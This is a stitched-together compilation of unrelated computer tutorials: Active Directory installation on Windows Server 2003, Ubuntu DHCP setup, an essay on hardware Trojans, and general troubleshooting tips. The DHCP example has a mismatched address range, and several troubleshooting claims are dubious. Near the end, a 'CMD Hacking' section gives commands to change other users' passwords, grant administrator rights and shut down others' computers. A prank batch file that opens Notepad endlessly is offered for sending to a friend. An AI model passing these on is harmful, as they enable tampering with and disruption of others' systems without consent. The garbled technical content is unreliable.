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Windows Server 2003 : Installing and Configuring Domain Controllers   Planning Your Active Directory Installation While the processes for promoting a member server to the role of domain controller are relatively straightforward, it is critical that you plan your proposed Active Directory environment in advance. Examples of environment-related information that should already be documented and well understood prior to promoting any server to the role of domain controller include: The domain structure for the new or existing forest The domain naming scheme to be used How Domain Name System (DNS) will be configured to support Active Directory Whether the Active Directory environment will need to support servers running previous versions of Windows Similarly, you will also need to ensure that the specific settings for the server to be promoted have been correctly configured, and that the information required during the promotion process has already been determined and documented. Some issues that need to be considered prior to promoting a domain controller include: Domain controllers require static IP address and subnet mask values The client DNS settings of the server must be configured correctly The storage location of the database and log files should be defined The location of the shared system volume folder should be defined By properly planning and documenting the domain controller promotion process in advance, you greatly reduce the risk of misconfiguration or encountering errors during the installation process. Installing Active Directory Four different methods can be used to promote a Windows Server 2003 system to a domain controller. These include: Using the Active Directory Installation Wizard (to install Active Directory in most situations) Using an answer file to perform an unattended installation (to automate the installation process or install Active Directory remotely) Using the network or backup media (to install Active Directory on additional domain controllers in the network by using media rather than relying upon replication) Using the Configure Your Server Wizard (an additional way to install the first domain controller in a network only) The following sections outline the specific steps and considerations associated with installing domain controllers using each of these four methods. Installing Active Directory Using the Active Directory Installation Wizard The Active Directory Installation Wizard (Dcpromo.exe) is the main tool used to install Active Directory. Information that must be provided as part of completing the wizard includes: Domain controller type, either the first domain controller for a new domain or a new domain controller added to an existing domain Domain type—a new domain in a new forest, a child domain in an existing domain tree, or a new domain tree in an existing forest Domain name NetBIOS name for the domain Storage location for the Active Directory database Storage location for the Active Directory transaction log files Storage location for the shared system volume Default Active Directory access permissions Directory services restore mode administrator password After you input this information, the wizard installs Active Directory, creating the database, configuring associated services, and modifying security settings. If a DNS server is not available, you will be given the option to install DNS as part of the Active Directory installation. One of the most fundamental choices presented by the wizard is whether you want the server to become the first domain controller for an entirely new domain, or to serve as an additional domain controller within an existing domain. Ultimately, the choice you make affects the structure of your Active Directory implementation. Creating the First Domain Controller for a New Domain If you choose to create the first domain controller for a new domain, you are actually defining both a new domain controller and a new domain. You will therefore be asked whether you want to create the new domain in a new forest, as a child domain in an existing domain tree, or as a new domain tree in an existing forest. These choices are illustrated in Figure 1. Figure 1. Creating a new domain using the Active Directory Installation Wizard When you create a new domain in a new forest, the new domain is either the first domain in the organization or a new domain that you want to be completely independent from an existing forest. When you create a new child domain in an existing domain tree, the new domain becomes a subdomain of an existing domain, within the DNS namespace of its parent domain. If you choose to create a new domain tree in an existing forest, the new domain becomes the root domain of a new tree, with a DNS name that is not contiguous with any other existing domains in the forest. Adding a New Domain Controller to an Existing Domain If you use the Active Directory Installation Wizard to add an additional domain controller to an existing domain, you are effectively adding redundancy and authentication load-balancing to a domain in a forest that has already been created. In all cases, an absolute minimum of two domain controllers should be deployed per domain to provide redundancy. In most Active Directory implementations, the number of domain controllers that need to be deployed within a single domain is a function of the number of users that need to be serviced, as well as the number of physical sites that have been implemented. Off the Record When implementing Active Directory, each domain should include an absolute minimum of two domain controllers for the purpose of directory redundancy. Using the Active Directory Installation Wizard Issuing the Dcpromo.exe command from the Run dialog box or the command line starts the Active Directory Installation Wizard. To install Active Directory for a new domain in a new forest, complete the following steps: 1. Click Start and then click Run. In the Run dialog box, type dcpromo in the Open box and click OK. 2. At the Welcome To The Active Directory Installation Wizard page, click Next. 3. At the Operating System Compatibility page, click Next. 4. At the Domain Controller Type page, select Domain Controller For A New Domain, as shown in Figure 2. Click Next. Figure 2. Active Directory Installation Wizard, Domain Controller Type page 5. On the Create New Domain page, ensure that Domain In A New Forest is selected, and then click Next. 6. If DNS is not configured for this computer, the Install Or Configure DNS page appears. Select No, Just Install And Configure DNS On This Computer, and click Next. Note If you choose to allow the Active Directory Installation Wizard to install and configure DNS, it will create an Active Directory-Integrated zone stored on an application directory partition. 7. On the New Domain Name page, type the name of your domain in the Full DNS Name For New Domain box, and click Next. 8. On the NetBIOS Domain Name page, the Active Directory Installation Wizard will suggest a NetBIOS name. Accept the default name provided by clicking Next. Note Clients running versions of Windows prior to Windows 2000 still use the NetBIOS name associated with a domain to access many domain-related functions. 9. On the Database And Log Folders page, type the location of the Active Directory database in the Database Folder box and the location of the Active Directory log in the Log Folder box, as shown in Figure 3. Similar to Windows 2000, it is recommended that you place the Active Directory database and associated log files on separate disks formatted with the NTFS file system. Click Next. Figure 3. Active Directory Installation Wizard, Database And Log Folders page 10. On the Shared System Volume page, specify the location of the Sysvol folder in the Folder Location box. The Sysvol folder must reside on a partition or volume formatted with the NTFS file system. Click Next. 11. If DNS is configured for this computer and the wizard is unable to connect to the DNS server, the DNS Registration Diagnostics page appears. Select Install And Configure The DNS Server On This Computer, And Set This Computer To Use This DNS Server As Its Preferred DNS Server, and click Next. 12. On the Permissions page, read through the available options as shown in Figure 4. Click Next. Figure 4. Active Directory Installation Wizard, Permissions page 13. On the Directory Services Restore Mode Administrator Password page, type the directory services restore mode password you want to assign to this server’s Administrator account in the Restore Mode Password box. Confirm the password in the Confirm Password box. Click Next. 14. The Summary page displays the options that you have selected during the wizard, as shown in Figure 5. Review the contents of this page for accuracy, and then click Next. The wizard takes a few minutes to configure Active Directory components. You might be prompted for your Windows Server 2003 CD-ROM. If you did not configure this server with a static IP address prior to starting the wizard, you will be prompted to do so. Figure 5. Active Directory Installation Wizard, Summary page 15. When the Completing The Active Directory Installation Wizard page appears, click Finish, and then click Restart Now. Installing Active Directory Using an Answer File The steps associated with the Active Directory Installation Wizard can also be automated through the use of an answer file. An answer file is simply a text file that contains answers to the questions normally asked when the wizard is completed manually. The answer file must contain all the parameters that the Active Directory Installation Wizard normally needs to complete the Active Directory installation process. Some benefits of promoting domain controllers by using answer files include: The ability to automate the domain controller installation process on remote servers that might be accessible only via low-bandwidth connections The ability to define and control the exact parameters to be configured during the promotion process, saving time and reducing the risk of misconfiguration Figure 6 displays a sample answer file that could be used to promote a Windows Server 2003 system to a domain controller. Figure 6. A sample answer file used to install Active Directory To install Active Directory on a Windows Server 2003 system using an answer file, issue the command dcpromo /answer:answer file, where answer file is the name of the text file that contains the necessary parameters to be passed to Dcpromo.exe. Note To create an answer file for use with Dcpromo.exe, refer to the instructions located in “Microsoft Windows Preinstallation Reference” found in the Ref.chm file on the Windows Server 2003 CD. The Ref.chm file is located in the Deploy.cab file in the \Support\Tools folder. Use the Index tab to search for DCInstall, the help topic that explains each of the entries that can be specified in the [DCInstall] section of the file. Installing Active Directory Using the Network or Backup Media In Windows 2000, promoting a member server to become an additional domain controller in an existing domain required the entire directory database to be replicated to the new domain controller. In cases where low network bandwidth or exceptionally large directory databases were factors, this replication could take hours or sometimes even days to complete. A new feature in Windows Server 2003 helps to make the process of adding a new domain controller to an existing domain more flexible in situations like those described. A Windows Server 2003 member server can be promoted to the role of domain controller using a backup of the directory database taken from an existing domain controller. This backup can be restored to the target server from different types of backup media or from a shared network folder. Ultimately, this approach helps to reduce much of the replication traffic associated with deploying new domain controllers, which is especially useful for domain controllers located in remote sites connected via WAN links. For example, if a new domain controller needs to be installed in a branch office connected over a low-speed WAN link, an administrator could back up the Active Directory database of an existing domain controller to removable media, and then ship that media to the branch office. The media could then be used to promote the member server to a domain controller locally, without the need for full replication of the directory database to take place over the WAN link. Of course, some replication will still be necessary to ensure that the remote domain controller is fully synchronized with existing domain controllers, but this typically amounts to much less traffic than full synchronization would incur. The amount of replication that is ultimately required to fully synchronize the remote domain controller depends on the age of the backup used and the number of changes that have occurred since the backup was taken. The backup cannot be older than the tombstone lifetime for the domain, which is set to a default value of 60 days. To minimize the amount of replication that needs to occur after promotion, a very recent backup is always preferred. Note If the domain controller from which the backup of Active Directory was created contained an application directory partition, the partition will not be restored to the new domain controller. To install Active Directory using a network share or backup media, complete the following steps: 1. Click Start, click Run, type dcpromo /adv in the Open box, and then click OK.  Tip To create an additional domain controller in an existing domain from backup media, remember that the Dcpromo.exe command must be issued with the /adv switch. 2. At the Operating System Compatibility page, click Next. 3. At the Domain Controller Type page, select Additional Domain Controller For An Existing Domain, and then click Next. 4. At the Copying Domain Information page shown in Figure 7, select one of the following options: Over The Network From A Domain Controller, to copy domain information to this server over the network From These Restored Backup Files, and then type the path to the backup files in the box to copy domain information to this server from backup files Figure 7. Active Directory Installation Wizard, Copying Domain Information page 5. On the Network Credentials page, specify your user name and password in the User Name and Password boxes, respectively. In the Domain box, type the domain name and then click Next. 6. On the Additional Domain Controller page, specify the domain name and then click Next. 7. On the Database And Log Folders page, ensure that the correct locations for the database folder and the log folder appear in the Database Folder box and the Log Folder box, respectively. Click Next. 8. On the Shared System Volume page, ensure that the correct location for the shared system volume folder appears in the Folder Location box. Click Next. 9. On the Directory Services Restore Mode Administrator Password page, type the password you want to assign to this server’s Administrator account in the event the computer is started in directory services restore mode in the Restore Mode Password box. Confirm the password in the Confirm Password box. Click Next. 10. On the Summary page, review your selections and then click Next to proceed with the installation. Restart the computer when prompted. Installing Active Directory Using the Configure Your Server Wizard The Configure Your Server Wizard provides a centralized location from which you can install many server services, including Active Directory. The Configure Your Server Wizard is available from the Manage Your Server page, which opens automatically the first time you log on to a server. Figure 8 shows the Server Role page of the wizard. You can use the Configure Your Server Wizard to install Active Directory only on the first domain controller on a network. If you attempt to use the Configure Your Server Wizard to install additional domain controllers, the wizard will launch the Active Directory Installation Wizard to perform the installation. Figure 8. Configure Your Server Wizard, Server Role page Although the Configure Your Server Wizard provides a simplified method for inexperienced users to install Active Directory, experienced users should take advantage of the higher degree of flexibility provided by the Active Directory Installation Wizard. Configuring Global Catalog Servers When a new Active Directory forest is created, only the first domain controller installed in the forest root domain will be configured as a global catalog server by default—any additional global catalog servers need to be configured manually. While a single global catalog server might suffice in very small environments, at least two are recommended as a minimum for the purposes of fault tolerance and load balancing. In environments that include multiple sites connected by WAN links, it is generally recommended that each remote location have at least one domain controller configured as a global catalog server, or that the site implement universal group membership caching. Because of the importance of the global catalog in providing universal group membership information and authenticating logon requests that use user principal names (UPNs), you will almost certainly need to configure additional global catalog servers in any Active Directory environment. As in Windows 2000, global catalog servers are configured via the NTDS Settings object associated with a domain controller object in the Active Directory Sites And Services tool. To configure a Windows Server 2003 domain controller as a global catalog server, follow these steps: 1. Click Start, select Administrative Tools, and then click Active Directory Sites And Services. 2. Click the plus sign (+) next to the Sites folder to expand it. 3. Expand Default-First-Site-Name, the Servers folder, and then the server object. 4. Right-click the NTDS Settings object, and click Properties. 5. On the General tab, select the Global Catalog check box, as shown in Figure 9. Figure 9. Configuring a global catalog server from the NTDS Settings Properties General tab 6. Click OK, and then close Active Directory Sites And Services. Universal group membership caching is not enabled within a site by default. To enable universal group membership caching for domain controllers within a site running Windows Server 2003, you must be a member of the Domain Admins group in the forest root domain or a member of Enterprise Admins, or you must have been delegated the appropriate authority. Because universal group membership caching is site-specific, all Windows Server 2003 domain controllers within a site use the feature once it has been enabled.  Tip Global catalog settings are configured on individual domain controllers. In contrast, universal group membership caching is configured at the site level, and applies to all domain controllers within a specific site. In much the same way that you configure a domain controller to function as a global catalog server, you configure universal group membership caching using Active Directory Sites And Services. However, instead of configuring the NTDS Settings object of a particular domain controller, you configure universal group membership caching from the properties of the NTDS Site Settings for a particular site. The following list shows the steps to configure universal group membership caching within a site. 1. Click Start, select Administrative Tools, and then click Active Directory Sites and Services. 2. Click the plus sign (+) next to the Sites folder to expand it. 3. Click Default-First-Site-Name to view its contents. 4. Right-click NTDS Site Settings, and click Properties. 5. On the Site Settings tab, select the Enable Universal Group Membership Caching check box, as shown in Figure 10. Figure 10. Configuring universal group membership caching 6. In the Refresh Cache From drop-down box, choose the site from which domain controllers in this site will attempt to locate a global catalog server. If the <Default> option is selected, domain controllers in this site will attempt to refresh their cache from the nearest site that has a global catalog server. 7. Click OK, and close Active Directory Sites And Services. Removing Active Directory from a Domain Controller Running Dcpromo.exe on an existing domain controller allows you to remove Active Directory from a system, demoting it to either a stand-alone server or a member server. If the system being demoted is the last domain controller in the domain, it becomes a stand-alone server because the domain will no longer exist. If other domain controllers remain in the domain, a demoted server will become a member server within the existing domain. To remove Active Directory from existing domain controllers, you must be a member of certain groups, depending upon the specific situation that surrounds the demotion process. The following list outlines the requirements to remove Active Directory from domain controllers in different situations. To remove Active Directory from a system that is the last domain controller in any domain except the forest root, you must be a member of the Enterprise Admins group. To remove Active Directory from the last domain controller in a forest, you must be a member of the Domain Admins group. To remove Active Directory from a system that is not the last domain controller in the domain, you must be a member of either the Domain Admins group in that domain or a member of the Enterprise Admins group. To remove Active Directory from a domain controller, complete the following steps: 1. Log on as the appropriate administrator. 2. Click Start, click Run, type dcpromo in the Open box, and then click OK. 3. On the Welcome To The Active Directory Installation Wizard page, click Next. 4. If the domain controller is a global catalog server, a message appears telling you to make sure other global catalogs are accessible to users of the domain before removing Active Directory from this computer. Click OK. 5. On the Remove Active Directory page, select the check box if the server is the last domain controller in the domain. Click Next. 6. If the server is the last domain controller in the domain, the Application Directory Partitions page appears. If you want to remove all application directory partitions listed on this page, click Next. Otherwise, click Back. If you click Next, the Confirm Deletion page appears. Select the check box if you want the wizard to delete all the application directory partitions on the domain controller, and then click Next. Note Because removing the last replica of an application directory partition will result in the permanent loss of any data contained in the partition, the Active Directory Installation Wizard will not remove application directory partitions unless you confirm the deletion. You must decide when it is safe to delete the last replica of a particular partition. If the domain controller holds a Telephony Application Programming Interface (TAPI) application directory partition, you might need to use the Tapicfg.exe command-line tool to remove the TAPI application directory partition. For more information on using Tapicfg.exe, refer to Windows Server 2003 help. 7. On the Administrator Password page, type and confirm the administrator password, and then click Next. 8. On the Summary page, click Next. The Configuring Active Directory progress indicator appears as Active Directory is removed from the server. This process will take several minutes. Click Finish. 9. On the Active Directory Installation Wizard dialog box, click Restart Now to restart the computer and complete the removal of Active Directory from the computer.

DHCP Server

This article describes how to setup DHCP services on Ubuntu Server Edition. 
The Dynamic Host Configuration Protocol (DHCP) is a network service that enables host computers to be automatically assigned settings from a server as opposed to manually configuring each network host. Computers configured to be DHCP clients have no control over the settings they receive from the DHCP server, and the configuration is transparent to the computer's user.
The most common settings provided by a DHCP server to DHCP clients include:

• IP-Address and Netmask
• DNS
• WINS

However, a DHCP server can also supply configuration properties such as:

• Host Name
• Domain Name
• Default Gateway
• Time Server
• Print Server

The advantage of using DHCP is that changes to the network, for example a change in the address of the DNS server, need only be changed at the DHCP server, and all network hosts will be reconfigured the next time their DHCP clients poll the DHCP server. As an added advantage, it is also easier to integrate new computers into the network, as there is no need to check for the availability of an IP address. Conflicts in IP address allocation are also reduced.
A DHCP server can provide configuration settings using two methods:

MAC Address
This method entails using DHCP to identify the unique hardware address of each network card connected to the network and then continually supplying a constant configuration each time the DHCP client makes a request to the DHCP server using that network device.

Address Pool
This method entails defining a pool (sometimes also called a range or scope) of IP addresses from which DHCP clients are supplied their configuration properties dynamically and on a fist come first serve basis. When a DHCP client is no longer on the network for a specified period, the configuration is expired and released back to the address pool for use by other DHCP Clients. This is the most common DHCP server setup.
Ubuntu is shipped with both DHCP server and client. The server is dhcpd (dynamic host configuration protocol daemon). The client provided with Ubuntu is dhclient and should be installed on all computers required to be automatically configured. Both programs are easy to install and configure and will be automatically started at system boot.

Installation

At the terminal issue the following command to install the DHCP server.

sudo apt-get install dhcp3-server

Configuration

Open the dhcp3-server configuration file.

sudo nano /etc/dhcp3/dhcpd.conf

Add your network specific settings to the file.

default-lease-time 600;
max-lease-time 7200;
option subnet-mask 255.255.255.0;
option broadcast-address 10.10.1.255;
option routers 10.10.1.254;
option domain-name-servers 10.10.1.1, 10.10.1.2;
option domain-name "mydomain.lan";

subnet 10.10.1.0 netmask 255.255.255.0 {
range 20.20.1.100 10.10.1.200;
}

Restart the DHCP service

sudo /etc/init.d/dhcp3-server restart

Your server is now providing addresses and network information to client computers.

Trojans Inside Computer Hardware

Trojans Inside Computer Hardware

Globalization of the semiconductor industry and associated supply chains have made integrated circuits increasingly vulnerable to Trojan programs inside a microprocessor that executes designed microcode. A Trojan is a destructive program that masquerades as an application. The software initially appears to perform a desirable function for the user prior to installation, but steals information or performs illegal the system functions.

Vulnerabilities in the current integrated circuit (lC) development process have raised serious concerns about possible threats from hardware Trojans to military, financial, transportation, and electrical power systems.

An adversary can introduce a Trojan through an IC that will disable or destroy a system at some specific future time. Alternatively, an attacker can design a wire or some IC components to survive the testing phase but fail before the expected lifetime. A hardware Trojan can also covertly cause a system to leak confidential information.

Trojans can be implemented as hardware modifications to application-specific integrated circuits (ASICs), commercial off-the-shelf (COTS) parts, microprocessors, microcontrollers, network processors, or digital signal processors (DSPs), or as firmware modifications-for ex­ ample, to field-programmable gate array (FPGA) bit streams.

To ensure that an IC used by a client is authentic, either the developer must make the IC design and fabrication processes trustworthy or the client must verify the IC for trustworthiness. Because the former approach requires a trusted design center and foundry, it is expensive and economically infeasible given current trends in the globalization of IC design and fabrication. On the other hand, verifying trustworthiness requires a post-manufacturing step to validate conformance of the fabricated IC to the original functional and performance specifications­ nothing more and nothing less.

Most Trojan detection methodologies assume the existence of secure IC circuits, which are obtained by arbitrarily selecting chips from a large batch of fabricated ICs and thoroughly testing them. This procedure assumes that Trojans are inserted into random ICs, but to do so, an attacker must use a different set of masks for selected chips, making such an effort unattractive. It is more viable for an attacker to insert a stealthy Trojan into every fabricated IC that passes manufacturing tests and trust validations, obviating the need for additional expensive masks. This raises the challenge of detecting Trojans in ICs without relying on a proven secure IC.

Current design methodologies provide multiple opportunities to insert Trojans that can go undetected. It is important to incorporate new design-for-trust strategies that prevent attackers from inserting Trojans into a design as well as effectively detect Trojans in fabricated circuits. ICs must be designed such that undetected changes are nearly impossible.

COTS components are commonly used in today’s systems. These components are usually designed and fabricated offshore and thus cannot be trusted. The challenge is to develop testing methodologies that consider COTS components’ specifications and functionality without having access to their internal structure. The internal details of components are no longer supplied by the original equipment manufacturer.

SUMMARY
Hardware has become a vulnerable link in the chain of trust in computing systems and must be overcome. The problem of hardware security has gained significant attention during the past several years. The assumption that hardware is trustworthy and that security efforts need only focus on networks and software is no longer valid given globalization of ICs and systems design and fabrication. Until DoD develops novel techniques to secure hardware any computer application potentially can be considered untrusted while in the field.

How To Turn ON your PC with Mouse

How To Turn ON your PC with Mouse

1. Start your computer.
2. Press the key which opens your BIOS Screen (usually “Delete” or “F2″ keys)
3. When the BIOS message appears to enter your CMOS configuration.
4. Select Integrated Peripherals from main menu
5. If PS/2 mouse power on DISABLED, activate it by press page up/ page down key it will became “Double-Click“
6. Press “Esc” key to exit
7. Press F10 to save and exit.
8. Turn off your PC.
9. Now double-click the left mouse button. Your PC will turn ON !

 

Computer Problems and Solutions

Computer Problems and Solutions

1. Computer Problems and Solutions
   Do you want to learn more in detail about the various computer problems and solutions that will help working with the computer an easy task? You do not need to call in help every time as the following article on 'computer problems and solutions' will help you get acquainted to the various methods to fix common computer problems yourself.
   If you have a computer or PC, it will surely help in easing most of your problems. But with every computer comes along many headaches and complications, sooner or later. A computer is a machine and every machine breaks down sometime or the other. You do not need to run to the computer technician every time your PC crashes or is attached by a malicious Soft-Ware. If you know some simple solutions to the most common computer problems, it will help you save a lot of time and money. There are number of common computer problems and solutions that are simple and involve glitches that can be solved by a common person like you and me in the world of computers.
   
   There are many PC owners who think every time they face a problem with computer, they should contact professional help. True, but not every problem needs to be addressed by a computer expert. You just need to know how to fix computer problems. This article will help you recognize common problems with computer and learn about computer problems troubleshooting. The following are a few common computer problems and solutions that will help you know more on how to fix computer problems.
2. How to Fix Computer Problems?
   
   Problems with computer are divided into two groups, i.e., hardware problems and Soft-Ware problems. The hardware problems are related to the peripheral parts of the computer like the CD drive, hard disk, monitor, keyboard, etc. The Soft-Ware problems are more complicated. These problems include problems like modem problems, Windows not starting, drivers not found, etc. The first step to fix computer problems is computer problems troubleshooting. Understand what is causing the glitch and follow the standard procedure to solve the problem. The following are a few common computer problems and solutions to help you overcome the technical snag.
3. Computer Problem # 1 ~ Computer Problems after Power Outage
   Today there are many sudden power outages, voltage problems and spikes that can damage computers. These damages cause many technical and Soft-Ware snags and interrupt your work. This leads to loss of data, damage to the hardware, etc. due to sudden power outage. This is a common computer problem and solution to this trouble is use of uninterrupted power supply (UPS). The UPS can provide a constant flow of energy to the computer, even if you encounter a sudden power outage. This will provide you with ample time to save your data and shut down your PC, if needed.
   
   Computer Problem # 2 ~ Computer Performance has Slowed Down
   You may notice your computer has slowed down considerably and even a simple command execution takes ages. This is because your computer is loaded with unnecessary files, fragmented data, corrupted registry, spyware programs, services, Soft-Ware, etc. that makes your computer slow down. Thus, you need to manage your programs and delete unnecessary data and Soft-Ware that you do not use or need, clean your registry regularly to help boost at least 30% of your computer performance speed.
   
   Computer Problem # 3 ~ No Sound from Speakers
   You are in the mood to listen to some groovy music on your PC, but you get no sound from speakers, the solution to is to check the back of the computer and see if all the connectors are properly connected. The speaker or single stereo speaker plug should be put into the socket on the soundcard that has a mark Audio Out.
   
   Computer Problem # 4 ~ Computer Monitor Displays Fuzzy Images
   A computer monitor is the display unit of the computer that is sensitive to electro-magnetic radiations. These electro-magnetic radiations are transmitted from the TV, radio, microwaves, dishwashers, washing machines, speakers, etc. Mobile phones transmit electro-magnetic radiations that is one of the main cause of monitor displaying fuzzy images. Thus, move away these disturbances away from the monitor and this problem with computer monitor will be fixed.
   
   Computer Problem # 5 ~ Computer Freezes with Blue Screen Hijacking Your Display
   There are many problems that can cause your computer screen to freeze and blue screen to appear. This screen is called the Blue Screen of Death (BSOD). This may be due to a spyware or computer viruses that have affected your computer. You need to update your anti-spyware and scan your computer for any viruses. If your computer is free from any such malicious Soft-Ware, then you may need to update your hardware drive. A hardware drive that is not updated may cause the CPU to lock up and interrupt working of the computer. If you find the problem cropping up even after a hardware drive update, then you may need to increase computer RAM. When you increase the RAM, the computing power increases and you will also be able to avoid the computer freeze. At times, BSOD may appear due to critical errors in the driver, Soft-Ware or registry problems. Windows may have to repair or reinstall missing components. If you do not find any visible cause, it would be wise to call the computer technician.
   
   Computer Problem # 6 ~ Computer Reboots Itself Again and Again
   Another common problem with computers. In order to fix computer problem of rebooting itself again and again, you will need to check the hardware. You may have a faulty power supply, defective or dirty cooling fan, etc., that may cause the computer to reboot again and again. The dust that accumulates on the fan, makes it heat up faster and in order to cool down the computer automatically switches off. Thus, clean the fan and check for power supply. Following these simple steps will help you to solve this problems with computer.
   
   Computer Problem # 7 ~ Computer Makes Strange Noises
   Noises and vibrations from your computer are a hardware problem. Many electronic parts can make high pitch noises. You need to switch off your computer and unplug it from the power supply. Now remove the case from the CPU and restart your computer. Locate the origin of noise and then switch off the computer and unplug it. It may be a faulty fan, loose wire or screw. This means you will need to call the computer technician to help you solve your problems with computer, regarding these type of problems.
   
   Computer Problem # 8 ~ Windows Having Problems in Shutting Down Properly
   You may have come across the message 'Windows Shutting Down' instead of 'It is now safe to switch off you computer'. This is because a program has not unloaded itself properly that makes the computer insist to run a scandisk the next time you switch on. You need to close all the programs before your shut down your PC and if it is not done, the computer waits for the program to close. It may happen you get the message 'Do you want to shut this program down or wait' or you may not. When you don't get such a message it results in what we call the hanging of the operating system. The solution is not to install Direct X whenever you install a game. Most games have their version of Direct X that makes the files out of sync. Thus, install the latest version of Direct X and not the games version. You may need to also check USB devices, task scheduler, virus scanners, etc. and reinstall them if necessary. This will lead to correct installation and the problems with computer may reduce. You can read more in detail about computer hardware troubleshooting.
   
   Computer Problem # 9 ~ Computer Gives Error Messages on Start-up
   Many times when you switch on you computer you see error messages on your screen. These messages may appear such as, abclink.xyz missing or damaged - press any key to continue. If you see this message, you need to press keys for about 8 to 10 times, before Windows actually resumes. This happens when you delete a program instead of actually un-installing it. If you wish to get rid of any program, go to Control panel ---> Programs ---> Programs and Features. Here, you will find a list of programs installed on your computer. Select the specific you wish to delete and click on Uninstall. The program will be removed from your system and next time you switch on your PC, you will not get any error messages saying a link is missing.
   
   Computer Problem # 9 ~ Low Virtual Memory
   Do you keep getting an annoying message that says 'system running low on virtual memory'? If yes, it means your computer is running short of RAM, that is, Random Access Memory. So, to solve this problem, you need to increase the size of your computer memory. Windows 7 users need at least 1 GB of RAM, Windows Vista needs 512 MB of Ram and Windows XP requires minimum 256 MB RAM. Visit your local computer dealer and purchase more memory from him. The dealer may even install the memory for you. This will help you get rid of low virtual memory.
4. These were just a few common computer problems and solutions that you may encounter. You can avoid these problems if you are aware of the various steps needed for computer maintenance. You should read the manual given with computer before you begin using it. Yes, the manual may sound Greek to you, but it's always better to know the simple precautions to be taken. Computer problems troubleshooting is not an easy task. You should be able to diagnose the problem to be able to correctly fix computer problem. If you do not understand anything or are still apprehensive about computer problem troubleshooting, then it is a better idea to consult a computer technician. You have many articles on the Internet that help you find solutions to various problems with computer. You do not need to be genius to diagnose and troubleshoot a simple computer problem. Many times a bit of presence of mind and common sense will help you overcome obstacles of the technical world.
   By Faisal Baloch

CMD Hacking

CMD HACKING

 How To Get User IP

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Step 1:= Type <NET VIEW> Then Enter

Step 2:= Type <Tracert <Name Of USER> > Then Enter
           
              Now You GET the IP

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                HOW TO SHUTDOWN <NET USER > Computer

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Step 1:= Find The Ip

Step 2:= Type <shutdown -i > Then Enter

Step 3:= Change Your Options.

Step 4:= Hit OK

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                <Hack> Change The Password  
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Step 1:= Type <NET USER> Then Enter

Step 2:= Type <NET USER> <Name Of User> * > Then Enter

Step 3:= Type <The Password > Then Enter

Step 4:= ReType < The Password > Then Enter

                  The Password Changed!!!!

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                Changing Guest into a Admin Account
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Step 1:= Type< NET USER > Then Enter

Step 2:= Type < localgroup administrators < Accountname > /add
                Its New Changed into a admin account


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                HOW To Make GOOD PING
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Step 1:= Go TO < start Then Hit Run >

Step 2:= Type On That <Ping www.yahoo.com -t >
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                HOW TO MAKE A FAKE VIRUS <SHUTDOWN Virus >

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Step 1:= Click on your desktop then New then Hit Shortcut

Step 2:= Type On that < Shutdown -s -t 30 -c " Any Comment " >

 -s Mean Shutdown <-> -t Mean Time <-> -c Mean Comment.......

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----Bye And Thanks For Watching Don't Forget SubScribe Me ---

Notepad Trick to Open notepad continuously

This simple computer prank consists of a code below that will drive your friend crazy as it opens notepad continuously.

When you type the below code and rename it as *.bat it take the above showed icon shape.

To Open Notepad continuously in your friend’s computer:



Type the code in notepad as :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as “notepad.BAT” and send it.

Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.